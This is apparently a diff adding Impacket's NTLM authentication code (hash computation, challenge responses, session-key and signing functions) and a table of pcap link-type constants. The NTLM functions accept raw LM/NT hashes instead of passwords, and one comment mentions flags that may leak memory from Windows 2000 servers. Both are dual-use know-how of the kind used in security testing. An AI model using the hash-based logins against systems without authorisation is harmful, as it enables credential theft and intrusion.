+        ('lanman_max_len','<H-lanman'),
+        ('lanman_offset','<L'),
+        ('ntlm_len','<H-ntlm'),
+        ('ntlm_max_len','<H-ntlm'),
+        ('ntlm_offset','<L'),
+        ('domain_len','<H-domain_name'),
+        ('domain_max_len','<H-domain_name'),
+        ('domain_offset','<L'),
+        ('user_len','<H-user_name'),
+        ('user_max_len','<H-user_name'),
+        ('user_offset','<L'),
+        ('host_len','<H-host_name'),
+        ('host_max_len','<H-host_name'),
+        ('host_offset','<L'),
+        ('session_key_len','<H-session_key'),
+        ('session_key_max_len','<H-session_key'),
+        ('session_key_offset','<L'),
+        ('flags','<L'),
+        ('VersionLen','_-Version','self.checkVersion(self["flags"])'), 
+        ('Version',':=""'),
+        ('MICLen','_-MIC','self.checkMIC(self["flags"])'),
+        ('MIC',':=""'),
+        ('domain_name',':'),
+        ('user_name',':'),
+        ('host_name',':'),
+        ('lanman',':'),
+        ('ntlm',':'),
+        ('session_key',':'))
+
+    def __init__(self, username = '', password = '', challenge = '', lmhash = '', nthash = '', flags = 0):
+        Structure.__init__(self)
+        self['session_key']=''
+        self['user_name']=username.encode('utf-16le')
+        self['domain_name']='' #"CLON".encode('utf-16le')
+        self['host_name']='' #"BETS".encode('utf-16le')
+        self['flags'] = (   #authResp['flags']
+            # we think (beto & gera) that his flags force a memory conten leakage when a windows 2000 answers using
+            # uninitializaed verifiers
+           NTLMSSP_NEGOTIATE_128     |
+           NTLMSSP_NEGOTIATE_KEY_EXCH|
+           # NTLMSSP_LM_KEY      |
+           NTLMSSP_NEGOTIATE_NTLM    |
+           NTLMSSP_NEGOTIATE_UNICODE     |
+           # NTLMSSP_ALWAYS_SIGN |
+           NTLMSSP_NEGOTIATE_SIGN        |
+           NTLMSSP_NEGOTIATE_SEAL        |
+           # NTLMSSP_TARGET      |
+           0)
+        # Here we do the stuff
+        if username and ( lmhash != '' or nthash != ''):            
+            self['lanman'] = get_ntlmv1_response(lmhash, challenge)
+            self['ntlm'] = get_ntlmv1_response(nthash, challenge)
+        elif username and password:
+            lmhash = compute_lmhash(password)
+            nthash = compute_nthash(password)
+            self['lanman']=get_ntlmv1_response(lmhash, challenge)
+            self['ntlm']=get_ntlmv1_response(nthash, challenge)    # This is not used for LM_KEY nor NTLM_KEY
+        else:
+            self['lanman'] = ''
+            self['ntlm'] = ''
+            if not self['host_name']:
+                self['host_name'] = 'NULL'.encode('utf-16le')      # for NULL session there must be a hostname
+
+    @staticmethod
+    def checkVersion(flags):
+        if flags is not None:
+           if flags & NTLMSSP_NEGOTIATE_VERSION == 0:
+              return 0
+        return 8
+
+    @staticmethod
+    def checkMIC(flags):
+        # TODO: Find a proper way to check the MIC is in there
+        if flags is not None:
+           if flags & NTLMSSP_NEGOTIATE_VERSION == 0:
+              return 0
+        return 16
+                                                                                
+    def getData(self):
+        self['domain_offset']=64+self.checkMIC(self["flags"])+self.checkVersion(self["flags"])
+        self['user_offset']=64+self.checkMIC(self["flags"])+self.checkVersion(self["flags"])+len(self['domain_name'])
+        self['host_offset']=self['user_offset']+len(self['user_name'])
+        self['lanman_offset']=self['host_offset']+len(self['host_name'])
+        self['ntlm_offset']=self['lanman_offset']+len(self['lanman'])
+        self['session_key_offset']=self['ntlm_offset']+len(self['ntlm'])
+        return Structure.getData(self)
+
+    def fromString(self,data):
+        Structure.fromString(self,data)
+        # [MS-NLMP] page 27
+        # Payload data can be present in any order within the Payload field, 
+        # with variable-length padding before or after the data
+
+        domain_offset = self['domain_offset']
+        domain_end = self['domain_len'] + domain_offset
+        self['domain_name'] = data[ domain_offset : domain_end ]
+
+        host_offset = self['host_offset']
+        host_end    = self['host_len'] + host_offset
+        self['host_name'] = data[ host_offset: host_end ]
+
+        user_offset = self['user_offset']
+        user_end    = self['user_len'] + user_offset
+        self['user_name'] = data[ user_offset: user_end ]
+
+        ntlm_offset = self['ntlm_offset'] 
+        ntlm_end    = self['ntlm_len'] + ntlm_offset 
+        self['ntlm'] = data[ ntlm_offset : ntlm_end ]
+
+        lanman_offset = self['lanman_offset'] 
+        lanman_end    = self['lanman_len'] + lanman_offset
+        self['lanman'] = data[ lanman_offset : lanman_end]
+
+class ImpacketStructure(Structure):
+    def set_parent(self, other):
+        self.parent = other
+
+    def get_packet(self):
+        return str(self)
+
+    def get_size(self):
+        return len(self)
+
+class ExtendedOrNotMessageSignature(Structure):
+    def __init__(self, flags = 0, **kargs):
+        if flags & NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
+            self.structure = self.extendedMessageSignature
+        else:
+            self.structure = self.MessageSignature
+        return Structure.__init__(self, **kargs)
+
+class NTLMMessageSignature(ExtendedOrNotMessageSignature):
+      extendedMessageSignature = (
+          ('Version','<L=1'),
+          ('Checksum','<q'),
+          ('SeqNum','<I'),
+      )
+
+      MessageSignature = (
+          ('Version','<L=1'),
+          ('RandomPad','<I=0'),
+          ('Checksum','<I'),
+          ('SeqNum','<I'),
+      )
+
+KNOWN_DES_INPUT = b"KGS!@#$%"
+
+def __expand_DES_key(key):
+    # Expand the key from a 7-byte password key into a 8-byte DES key
+    if not isinstance(key, bytes):
+        key = bytes(key)
+    key  = bytearray(key[:7]).ljust(7, b'\x00')
+    s = bytearray()
+    s.append(((key[0] >> 1) & 0x7f) << 1)
+    s.append(((key[0] & 0x01) << 6 | ((key[1] >> 2) & 0x3f)) << 1)
+    s.append(((key[1] & 0x03) << 5 | ((key[2] >> 3) & 0x1f)) << 1)
+    s.append(((key[2] & 0x07) << 4 | ((key[3] >> 4) & 0x0f)) << 1)
+    s.append(((key[3] & 0x0f) << 3 | ((key[4] >> 5) & 0x07)) << 1)
+    s.append(((key[4] & 0x1f) << 2 | ((key[5] >> 6) & 0x03)) << 1)
+    s.append(((key[5] & 0x3f) << 1 | ((key[6] >> 7) & 0x01)) << 1)
+    s.append((key[6] & 0x7f) << 1)
+    return bytes(s)
+
+def __DES_block(key, msg):
+    cipher = DES.new(__expand_DES_key(key),DES.MODE_ECB)
+    return cipher.encrypt(msg)
+
+def ntlmssp_DES_encrypt(key, challenge):
+    answer  = __DES_block(key[:7], challenge)
+    answer += __DES_block(key[7:14], challenge)
+    answer += __DES_block(key[14:], challenge)
+    return answer
+
+# High level functions to use NTLMSSP
+
+def getNTLMSSPType1(workstation='', domain='', signingRequired = False, use_ntlmv2 = USE_NTLMv2):
+    # Let's do some encoding checks before moving on. Kind of dirty, but found effective when dealing with
+    # international characters.
+    import sys
+    encoding = sys.getfilesystemencoding()
+    if encoding is not None:
+        try:
+            workstation.encode('utf-16le')
+        except:
+            workstation = workstation.decode(encoding)
+        try:
+            domain.encode('utf-16le')
+        except:
+            domain = domain.decode(encoding)
+
+    # Let's prepare a Type 1 NTLMSSP Message
+    auth = NTLMAuthNegotiate()
+    auth['flags']=0
+    if signingRequired:
+       auth['flags'] = NTLMSSP_NEGOTIATE_KEY_EXCH | NTLMSSP_NEGOTIATE_SIGN | NTLMSSP_NEGOTIATE_ALWAYS_SIGN | \
+                       NTLMSSP_NEGOTIATE_SEAL
+    if use_ntlmv2:
+       auth['flags'] |= NTLMSSP_NEGOTIATE_TARGET_INFO
+    auth['flags'] |= NTLMSSP_NEGOTIATE_NTLM | NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY | NTLMSSP_NEGOTIATE_UNICODE | \
+                     NTLMSSP_REQUEST_TARGET |  NTLMSSP_NEGOTIATE_128 | NTLMSSP_NEGOTIATE_56
+
+    # We're not adding workstation / domain fields this time. Normally Windows clients don't add such information but,
+    # we will save the workstation name to be used later.
+    auth.setWorkstation(workstation)
+
+    return auth
+
+def getNTLMSSPType3(type1, type2, user, password, domain, lmhash = '', nthash = '', use_ntlmv2 = USE_NTLMv2):
+
+    # Safety check in case somebody sent password = None.. That's not allowed. Setting it to '' and hope for the best.
+    if password is None:
+        password = ''
+
+    # Let's do some encoding checks before moving on. Kind of dirty, but found effective when dealing with
+    # international characters.
+    import sys
+    encoding = sys.getfilesystemencoding()
+    if encoding is not None:
+        try:
+            user.encode('utf-16le')
+        except:
+            user = user.decode(encoding)
+        try:
+            password.encode('utf-16le')
+        except:
+            password = password.decode(encoding)
+        try:
+            domain.encode('utf-16le')
+        except:
+            domain = user.decode(encoding)
+
+    ntlmChallenge = NTLMAuthChallenge(type2)
+
+    # Let's start with the original flags sent in the type1 message
+    responseFlags = type1['flags']
+
+    # Token received and parsed. Depending on the authentication 
+    # method we will create a valid ChallengeResponse
+    ntlmChallengeResponse = NTLMAuthChallengeResponse(user, password, ntlmChallenge['challenge'])
+
+    clientChallenge = b("".join([random.choice(string.digits+string.ascii_letters) for _ in range(8)]))
+
+    serverName = ntlmChallenge['TargetInfoFields']
+
+    ntResponse, lmResponse, sessionBaseKey = computeResponse(ntlmChallenge['flags'], ntlmChallenge['challenge'],
+                                                             clientChallenge, serverName, domain, user, password,
+                                                             lmhash, nthash, use_ntlmv2)
+
+    # Let's check the return flags
+    if (ntlmChallenge['flags'] & NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY) == 0:
+        # No extended session security, taking it out
+        responseFlags &= 0xffffffff ^ NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY
+    if (ntlmChallenge['flags'] & NTLMSSP_NEGOTIATE_128 ) == 0:
+        # No support for 128 key len, taking it out
+        responseFlags &= 0xffffffff ^ NTLMSSP_NEGOTIATE_128
+    if (ntlmChallenge['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH) == 0:
+        # No key exchange supported, taking it out
+        responseFlags &= 0xffffffff ^ NTLMSSP_NEGOTIATE_KEY_EXCH
+    if (ntlmChallenge['flags'] & NTLMSSP_NEGOTIATE_SEAL) == 0:
+        # No sign available, taking it out
+        responseFlags &= 0xffffffff ^ NTLMSSP_NEGOTIATE_SEAL
+    if (ntlmChallenge['flags'] & NTLMSSP_NEGOTIATE_SIGN) == 0:
+        # No sign available, taking it out
+        responseFlags &= 0xffffffff ^ NTLMSSP_NEGOTIATE_SIGN
+    if (ntlmChallenge['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN) == 0:
+        # No sign available, taking it out
+        responseFlags &= 0xffffffff ^ NTLMSSP_NEGOTIATE_ALWAYS_SIGN
+
+    keyExchangeKey = KXKEY(ntlmChallenge['flags'], sessionBaseKey, lmResponse, ntlmChallenge['challenge'], password,
+                           lmhash, nthash, use_ntlmv2)
+
+    # Special case for anonymous login
+    if user == '' and password == '' and lmhash == '' and nthash == '':
+      keyExchangeKey = b'\x00'*16
+
+    # If we set up key exchange, let's fill the right variables
+    if ntlmChallenge['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH:
+       # not exactly what I call random tho :\
+       # exportedSessionKey = this is the key we should use to sign
+       exportedSessionKey = b("".join([random.choice(string.digits+string.ascii_letters) for _ in range(16)]))
+       #exportedSessionKey = "A"*16
+       #print "keyExchangeKey %r" % keyExchangeKey
+       # Let's generate the right session key based on the challenge flags
+       #if responseFlags & NTLMSSP_NTLM2_KEY:
+           # Extended session security enabled
+       #    if responseFlags & NTLMSSP_KEY_128:
+               # Full key
+       #        exportedSessionKey = exportedSessionKey
+       #    elif responseFlags & NTLMSSP_KEY_56:
+               # Only 56-bit key
+       #        exportedSessionKey = exportedSessionKey[:7]
+       #    else:
+       #        exportedSessionKey = exportedSessionKey[:5]
+       #elif responseFlags & NTLMSSP_KEY_56:
+           # No extended session security, just 56 bits key
+       #    exportedSessionKey = exportedSessionKey[:7] + '\xa0'
+       #else:
+       #    exportedSessionKey = exportedSessionKey[:5] + '\xe5\x38\xb0'
+
+       encryptedRandomSessionKey = generateEncryptedSessionKey(keyExchangeKey, exportedSessionKey)
+    else:
+       encryptedRandomSessionKey = None
+       # [MS-NLMP] page 46
+       exportedSessionKey        = keyExchangeKey
+
+    ntlmChallengeResponse['flags'] = responseFlags
+    ntlmChallengeResponse['domain_name'] = domain.encode('utf-16le')
+    ntlmChallengeResponse['host_name'] = type1.getWorkstation().encode('utf-16le')
+    if lmResponse == '':
+        ntlmChallengeResponse['lanman'] = b'\x00'
+    else:
+        ntlmChallengeResponse['lanman'] = lmResponse
+    ntlmChallengeResponse['ntlm'] = ntResponse
+    if encryptedRandomSessionKey is not None: 
+        ntlmChallengeResponse['session_key'] = encryptedRandomSessionKey
+
+    return ntlmChallengeResponse, exportedSessionKey
+
+
+# NTLMv1 Algorithm
+
+def generateSessionKeyV1(password, lmhash, nthash):
+    hash = MD4.new()
+    hash.update(NTOWFv1(password, lmhash, nthash))
+    return hash.digest()
+
+
+def computeResponseNTLMv1(flags, serverChallenge, clientChallenge, serverName, domain, user, password, lmhash='',
+                          nthash='', use_ntlmv2=USE_NTLMv2):
+    if user == '' and password == '':
+        # Special case for anonymous authentication
+        lmResponse = ''
+        ntResponse = ''
+    else:
+        lmhash = LMOWFv1(password, lmhash, nthash)
+        nthash = NTOWFv1(password, lmhash, nthash)
+        if flags & NTLMSSP_NEGOTIATE_LM_KEY:
+           ntResponse = ''
+           lmResponse = get_ntlmv1_response(lmhash, serverChallenge)
+        elif flags & NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
+           md5 = hashlib.new('md5')
+           chall = (serverChallenge + clientChallenge)
+           md5.update(chall)
+           ntResponse = ntlmssp_DES_encrypt(nthash, md5.digest()[:8])
+           lmResponse = clientChallenge + b'\x00'*16
+        else:
+           ntResponse = get_ntlmv1_response(nthash,serverChallenge)
+           lmResponse = get_ntlmv1_response(lmhash, serverChallenge)
+   
+    sessionBaseKey = generateSessionKeyV1(password, lmhash, nthash)
+    return ntResponse, lmResponse, sessionBaseKey
+
+def compute_lmhash(password):
+    # This is done according to Samba's encryption specification (docs/html/ENCRYPTION.html)
+    password = password.upper()
+    lmhash  = __DES_block(b(password[:7]), KNOWN_DES_INPUT)
+    lmhash += __DES_block(b(password[7:14]), KNOWN_DES_INPUT)
+    return lmhash
+
+def NTOWFv1(password, lmhash = '', nthash=''):
+    if nthash != '':
+       return nthash
+    return compute_nthash(password)   
+
+def LMOWFv1(password, lmhash = '', nthash=''):
+    if lmhash != '':
+       return lmhash
+    return compute_lmhash(password)
+
+def compute_nthash(password):
+    # This is done according to Samba's encryption specification (docs/html/ENCRYPTION.html)
+    try:
+        password = str(password).encode('utf_16le')
+    except UnicodeDecodeError:
+        import sys
+        password = password.decode(sys.getfilesystemencoding()).encode('utf_16le')
+
+    hash = MD4.new()
+    hash.update(password)
+    return hash.digest()
+
+def get_ntlmv1_response(key, challenge):
+    return ntlmssp_DES_encrypt(key, challenge)
+
+# NTLMv2 Algorithm - as described in MS-NLMP Section 3.3.2
+
+# Crypto Stuff
+
+def MAC(flags, handle, signingKey, seqNum, message):
+   # [MS-NLMP] Section 3.4.4
+   # Returns the right messageSignature depending on the flags
+   messageSignature = NTLMMessageSignature(flags)
+   if flags & NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
+       if flags & NTLMSSP_NEGOTIATE_KEY_EXCH:
+           messageSignature['Version'] = 1
+           messageSignature['Checksum'] = \
+           struct.unpack('<q', handle(hmac_md5(signingKey, struct.pack('<i', seqNum) + message)[:8]))[0]
+           messageSignature['SeqNum'] = seqNum
+           seqNum += 1
+       else:
+           messageSignature['Version'] = 1
+           messageSignature['Checksum'] = struct.unpack('<q',hmac_md5(signingKey, struct.pack('<i',seqNum)+message)[:8])[0]
+           messageSignature['SeqNum'] = seqNum
+           seqNum += 1
+   else:
+       messageSignature['Version'] = 1
+       messageSignature['Checksum'] = struct.pack('<I',binascii.crc32(message)& 0xFFFFFFFF)
+       messageSignature['RandomPad'] = 0
+       messageSignature['RandomPad'] = handle(struct.pack('<I',messageSignature['RandomPad']))
+       messageSignature['Checksum'] = struct.unpack('<I',handle(messageSignature['Checksum']))[0]
+       messageSignature['SeqNum'] = handle(b'\x00\x00\x00\x00')
+       messageSignature['SeqNum'] = struct.unpack('<I',messageSignature['SeqNum'])[0] ^ seqNum
+       messageSignature['RandomPad'] = 0
+       
+   return messageSignature
+
+def SEAL(flags, signingKey, sealingKey, messageToSign, messageToEncrypt, seqNum, handle):
+   sealedMessage = handle(messageToEncrypt)
+   signature = MAC(flags, handle, signingKey, seqNum, messageToSign)
+   return sealedMessage, signature
+
+def SIGN(flags, signingKey, message, seqNum, handle):
+   return MAC(flags, handle, signingKey, seqNum, message)
+
+def SIGNKEY(flags, randomSessionKey, mode = 'Client'):
+   if flags & NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
+       if mode == 'Client':
+           md5 = hashlib.new('md5')
+           md5.update(randomSessionKey + b"session key to client-to-server signing key magic constant\x00")
+           signKey = md5.digest()
+       else:
+           md5 = hashlib.new('md5')
+           md5.update(randomSessionKey + b"session key to server-to-client signing key magic constant\x00")
+           signKey = md5.digest()
+   else:
+       signKey = None
+   return signKey
+
+def SEALKEY(flags, randomSessionKey, mode = 'Client'):
+   if flags & NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
+       if flags & NTLMSSP_NEGOTIATE_128:
+           sealKey = randomSessionKey
+       elif flags & NTLMSSP_NEGOTIATE_56:
+           sealKey = randomSessionKey[:7]
+       else:
+           sealKey = randomSessionKey[:5]
+
+       if mode == 'Client':
+               md5 = hashlib.new('md5')
+               md5.update(sealKey + b'session key to client-to-server sealing key magic constant\x00')
+               sealKey = md5.digest()
+       else:
+               md5 = hashlib.new('md5')
+               md5.update(sealKey + b'session key to server-to-client sealing key magic constant\x00')
+               sealKey = md5.digest()
+
+   elif flags & NTLMSSP_NEGOTIATE_56:
+       sealKey = randomSessionKey[:7] + b'\xa0'
+   else:
+       sealKey = randomSessionKey[:5] + b'\xe5\x38\xb0'
+
+   return sealKey
+
+
+def generateEncryptedSessionKey(keyExchangeKey, exportedSessionKey):
+   cipher = ARC4.new(keyExchangeKey)
+   cipher_encrypt = cipher.encrypt
+
+   sessionKey = cipher_encrypt(exportedSessionKey)
+   return sessionKey
+
+def KXKEY(flags, sessionBaseKey, lmChallengeResponse, serverChallenge, password, lmhash, nthash, use_ntlmv2 = USE_NTLMv2):
+   if use_ntlmv2:
+       return sessionBaseKey
+
+   if flags & NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
+       if flags & NTLMSSP_NEGOTIATE_NTLM:
+          keyExchangeKey = hmac_md5(sessionBaseKey, serverChallenge + lmChallengeResponse[:8])
+       else:
+          keyExchangeKey = sessionBaseKey
+   elif flags & NTLMSSP_NEGOTIATE_NTLM:
+       if flags & NTLMSSP_NEGOTIATE_LM_KEY:
+           keyExchangeKey = __DES_block(LMOWFv1(password, lmhash)[:7], lmChallengeResponse[:8]) + __DES_block(
+               LMOWFv1(password, lmhash)[7] + b'\xBD\xBD\xBD\xBD\xBD\xBD', lmChallengeResponse[:8])
+       elif flags & NTLMSSP_REQUEST_NON_NT_SESSION_KEY:
+          keyExchangeKey = LMOWFv1(password,lmhash)[:8] + b'\x00'*8
+       else:
+          keyExchangeKey = sessionBaseKey
+   else:
+       raise Exception("Can't create a valid KXKEY!")
+
+   return keyExchangeKey
+      
+def hmac_md5(key, data):
+    import hmac
+    h = hmac.new(key, digestmod=hashlib.md5)
+    h.update(data)
+    return h.digest()
+
+def NTOWFv2( user, password, domain, hash = ''):
+    if hash != '':
+       theHash = hash 
+    else:
+       theHash = compute_nthash(password)
+    return hmac_md5(theHash, user.upper().encode('utf-16le') + domain.encode('utf-16le'))
+
+def LMOWFv2( user, password, domain, lmhash = ''):
+    return NTOWFv2( user, password, domain, lmhash)
+
+
+def computeResponseNTLMv2(flags, serverChallenge, clientChallenge, serverName, domain, user, password, lmhash='',
+                          nthash='', use_ntlmv2=USE_NTLMv2):
+
+    responseServerVersion = b'\x01'
+    hiResponseServerVersion = b'\x01'
+    responseKeyNT = NTOWFv2(user, password, domain, nthash)
+
+    av_pairs = AV_PAIRS(serverName)
+    # In order to support SPN target name validation, we have to add this to the serverName av_pairs. Otherwise we will
+    # get access denied
+    # This is set at Local Security Policy -> Local Policies -> Security Options -> Server SPN target name validation
+    # level
+    if TEST_CASE is False:
+        av_pairs[NTLMSSP_AV_TARGET_NAME] = 'cifs/'.encode('utf-16le') + av_pairs[NTLMSSP_AV_HOSTNAME][1]
+        if av_pairs[NTLMSSP_AV_TIME] is not None:
+           aTime = av_pairs[NTLMSSP_AV_TIME][1]
+        else:
+           aTime = struct.pack('<q', (116444736000000000 + calendar.timegm(time.gmtime()) * 10000000) )
+           av_pairs[NTLMSSP_AV_TIME] = aTime
+        serverName = av_pairs.getData()
+    else:
+        aTime = b'\x00'*8
+
+    temp = responseServerVersion + hiResponseServerVersion + b'\x00' * 6 + aTime + clientChallenge + b'\x00' * 4 + \
+           serverName + b'\x00' * 4
+
+    ntProofStr = hmac_md5(responseKeyNT, serverChallenge + temp)
+
+    ntChallengeResponse = ntProofStr + temp
+    lmChallengeResponse = hmac_md5(responseKeyNT, serverChallenge + clientChallenge) + clientChallenge
+    sessionBaseKey = hmac_md5(responseKeyNT, ntProofStr)
+
+    if user == '' and password == '':
+        # Special case for anonymous authentication
+        ntChallengeResponse = ''
+        lmChallengeResponse = ''
+
+    return ntChallengeResponse, lmChallengeResponse, sessionBaseKey
+
+class NTLM_HTTP(object):
+    # Parent class for NTLM HTTP classes.
+    MSG_TYPE = None
+
+    @classmethod
+    def get_instace(cls,msg_64):
+        msg = None
+        msg_type = 0
+        if msg_64 != '':
+            msg = base64.b64decode(msg_64[5:]) # Remove the 'NTLM '
+            msg_type = ord(msg[8])
+    
+        for _cls in NTLM_HTTP.__subclasses__():
+            if msg_type == _cls.MSG_TYPE:
+                instance = _cls()
+                instance.fromString(msg)
+                return instance
+
+    
+class NTLM_HTTP_AuthRequired(NTLM_HTTP):
+    commonHdr = ()
+    # Message 0 means the first HTTP request e.g. 'GET /bla.png'
+    MSG_TYPE = 0
+
+    def fromString(self,data): 
+        pass
+
+
+class NTLM_HTTP_AuthNegotiate(NTLM_HTTP, NTLMAuthNegotiate):
+    commonHdr = ()
+    MSG_TYPE = 1
+
+    def __init__(self):
+        NTLMAuthNegotiate.__init__(self)
+
+
+class NTLM_HTTP_AuthChallengeResponse(NTLM_HTTP, NTLMAuthChallengeResponse):
+    commonHdr = ()
+    MSG_TYPE = 3
+
+    def __init__(self):
+        NTLMAuthChallengeResponse.__init__(self)
diff --git a/impacket/pcap_linktypes.py b/impacket/pcap_linktypes.py
new file mode 100644
index 0000000..59126ab
--- /dev/null
+++ b/impacket/pcap_linktypes.py
@@ -0,0 +1,173 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+
+LINKTYPE_NULL = 0
+DLT_NULL = LINKTYPE_NULL
+LINKTYPE_ETHERNET = 1
+DLT_EN10MB = LINKTYPE_ETHERNET
+LINKTYPE_AX25 = 3
+DLT_AX25 = LINKTYPE_AX25
+NKTYPE_IEEE802_5 = 6
+DLT_IEEE802 = NKTYPE_IEEE802_5
+LINKTYPE_ARCNET_BSD = 7
+DLT_ARCNET = LINKTYPE_ARCNET_BSD
+LINKTYPE_SLIP = 8
+DLT_SLIP = LINKTYPE_SLIP
+LINKTYPE_PPP = 9
+DLT_PPP = LINKTYPE_PPP
+LINKTYPE_FDDI = 10
+DLT_FDDI = LINKTYPE_FDDI
+LINKTYPE_PPP_HDLC = 50
+DLT_PPP_SERIAL = LINKTYPE_PPP_HDLC
+LINKTYPE_PPP_ETHER = 51
+DLT_PPP_ETHER = LINKTYPE_PPP_ETHER
+LINKTYPE_ATM_RFC1483 = 100
+DLT_ATM_RFC1483 = LINKTYPE_ATM_RFC1483
+LINKTYPE_RAW = 101
+DLT_RAW = LINKTYPE_RAW
+LINKTYPE_C_HDLC = 104
+DLT_C_HDLC = LINKTYPE_C_HDLC
+LINKTYPE_IEEE802_11 = 105
+DLT_IEEE802_11 = LINKTYPE_IEEE802_11
+LINKTYPE_FRELAY = 107
+DLT_FRELAY = LINKTYPE_FRELAY
+LINKTYPE_LOOP = 108
+DLT_LOOP = LINKTYPE_LOOP
+LINKTYPE_LINUX_SLL = 113
+DLT_LINUX_SLL = LINKTYPE_LINUX_SLL
+LINKTYPE_LTALK = 114
+DLT_LTALK = LINKTYPE_LTALK
+LINKTYPE_PFLOG = 117
+DLT_PFLOG = LINKTYPE_PFLOG
+LINKTYPE_IEEE802_11_PRISM = 119
+DLT_PRISM_HEADER = LINKTYPE_IEEE802_11_PRISM
+LINKTYPE_IP_OVER_FC = 122
+DLT_IP_OVER_FC = LINKTYPE_IP_OVER_FC
+LINKTYPE_SUNATM = 123
+DLT_SUNATM = LINKTYPE_SUNATM
+LINKTYPE_IEEE802_11_RADIOTAP = 127
+DLT_IEEE802_11_RADIO = LINKTYPE_IEEE802_11_RADIOTAP
+LINKTYPE_ARCNET_LINUX = 129
+DLT_ARCNET_LINUX = LINKTYPE_ARCNET_LINUX
+LINKTYPE_APPLE_IP_OVER_IEEE1394 = 138
+DLT_APPLE_IP_OVER_IEEE1394 = LINKTYPE_APPLE_IP_OVER_IEEE1394
+LINKTYPE_MTP2_WITH_PHDR = 139
+DLT_MTP2_WITH_PHDR = LINKTYPE_MTP2_WITH_PHDR
+LINKTYPE_MTP2 = 140
+DLT_MTP2 = LINKTYPE_MTP2
+LINKTYPE_MTP3 = 141
+DLT_MTP3 = LINKTYPE_MTP3
+LINKTYPE_SCCP = 142
+DLT_SCCP = LINKTYPE_SCCP
+LINKTYPE_DOCSIS = 143
+DLT_DOCSIS = LINKTYPE_DOCSIS
+LINKTYPE_LINUX_IRDA = 144
+DLT_LINUX_IRDA = LINKTYPE_LINUX_IRDA
+LINKTYPE_IEEE802_11_AVS = 163
+DLT_IEEE802_11_RADIO_AVS = LINKTYPE_IEEE802_11_AVS
+LINKTYPE_BACNET_MS_TP = 165
+DLT_BACNET_MS_TP = LINKTYPE_BACNET_MS_TP
+LINKTYPE_PPP_PPPD = 166
+DLT_PPP_PPPD = LINKTYPE_PPP_PPPD
+LINKTYPE_GPRS_LLC = 169
+DLT_GPRS_LLC = LINKTYPE_GPRS_LLC
+LINKTYPE_LINUX_LAPD = 177
+DLT_LINUX_LAPD = LINKTYPE_LINUX_LAPD
+LINKTYPE_BLUETOOTH_HCI_H4 = 187
+DLT_BLUETOOTH_HCI_H4 = LINKTYPE_BLUETOOTH_HCI_H4
+LINKTYPE_USB_LINUX = 189
+DLT_USB_LINUX = LINKTYPE_USB_LINUX
+LINKTYPE_PPI = 192
+DLT_PPI = LINKTYPE_PPI
+LINKTYPE_IEEE802_15_4 = 195
+DLT_IEEE802_15_4 = LINKTYPE_IEEE802_15_4
+LINKTYPE_SITA = 196
+DLT_SITA = LINKTYPE_SITA
+LINKTYPE_ERF = 197
+DLT_ERF = LINKTYPE_ERF
+LINKTYPE_BLUETOOTH_HCI_H4_WITH_PHDR = 201
+DLT_BLUETOOTH_HCI_H4_WITH_PHDR = LINKTYPE_BLUETOOTH_HCI_H4_WITH_PHDR
+LINKTYPE_AX25_KISS = 202
+DLT_AX25_KISS = LINKTYPE_AX25_KISS
+LINKTYPE_LAPD = 203
+DLT_LAPD = LINKTYPE_LAPD
+LINKTYPE_PPP_WITH_DIR = 204
+DLT_PPP_WITH_DIR = LINKTYPE_PPP_WITH_DIR
+LINKTYPE_C_HDLC_WITH_DIR = 205
+DLT_C_HDLC_WITH_DIR = LINKTYPE_C_HDLC_WITH_DIR
+LINKTYPE_FRELAY_WITH_DIR = 206
+DLT_FRELAY_WITH_DIR = LINKTYPE_FRELAY_WITH_DIR
+LINKTYPE_IPMB_LINUX = 209
+DLT_IPMB_LINUX = LINKTYPE_IPMB_LINUX
+LINKTYPE_IEEE802_15_4_NONASK_PHY = 215
+DLT_IEEE802_15_4_NONASK_PHY = LINKTYPE_IEEE802_15_4_NONASK_PHY
+LINKTYPE_USB_LINUX_MMAPPED = 220
+DLT_USB_LINUX_MMAPPED = LINKTYPE_USB_LINUX_MMAPPED
+LINKTYPE_FC_2 = 224
+DLT_FC_2 = LINKTYPE_FC_2
+LINKTYPE_FC_2_WITH_FRAME_DELIMS = 225
+DLT_FC_2_WITH_FRAME_DELIMS = LINKTYPE_FC_2_WITH_FRAME_DELIMS
+LINKTYPE_IPNET = 226
+DLT_IPNET = LINKTYPE_IPNET
+LINKTYPE_CAN_SOCKETCAN = 227
+DLT_CAN_SOCKETCAN = LINKTYPE_CAN_SOCKETCAN
+LINKTYPE_IPV4 = 228
+DLT_IPV4 = LINKTYPE_IPV4
+LINKTYPE_IPV6 = 229
+DLT_IPV6 = LINKTYPE_IPV6
+LINKTYPE_IEEE802_15_4_NOFCS = 230
+DLT_IEEE802_15_4_NOFCS = LINKTYPE_IEEE802_15_4_NOFCS
+LINKTYPE_DBUS = 231
+DLT_DBUS = LINKTYPE_DBUS
+LINKTYPE_DVB_CI = 235
+DLT_DVB_CI = LINKTYPE_DVB_CI
+LINKTYPE_MUX27010 = 236
+DLT_MUX27010 = LINKTYPE_MUX27010
+LINKTYPE_STANAG_5066_D_PDU = 237
+DLT_STANAG_5066_D_PDU = LINKTYPE_STANAG_5066_D_PDU
+LINKTYPE_NFLOG = 239
+DLT_NFLOG = LINKTYPE_NFLOG
+LINKTYPE_NETANALYZER = 240
+DLT_NETANALYZER = LINKTYPE_NETANALYZER
+LINKTYPE_NETANALYZER_TRANSPARENT = 241
+DLT_NETANALYZER_TRANSPARENT = LINKTYPE_NETANALYZER_TRANSPARENT
+LINKTYPE_IPOIB = 242
+DLT_IPOIB = LINKTYPE_IPOIB
+LINKTYPE_MPEG_2_TS = 243
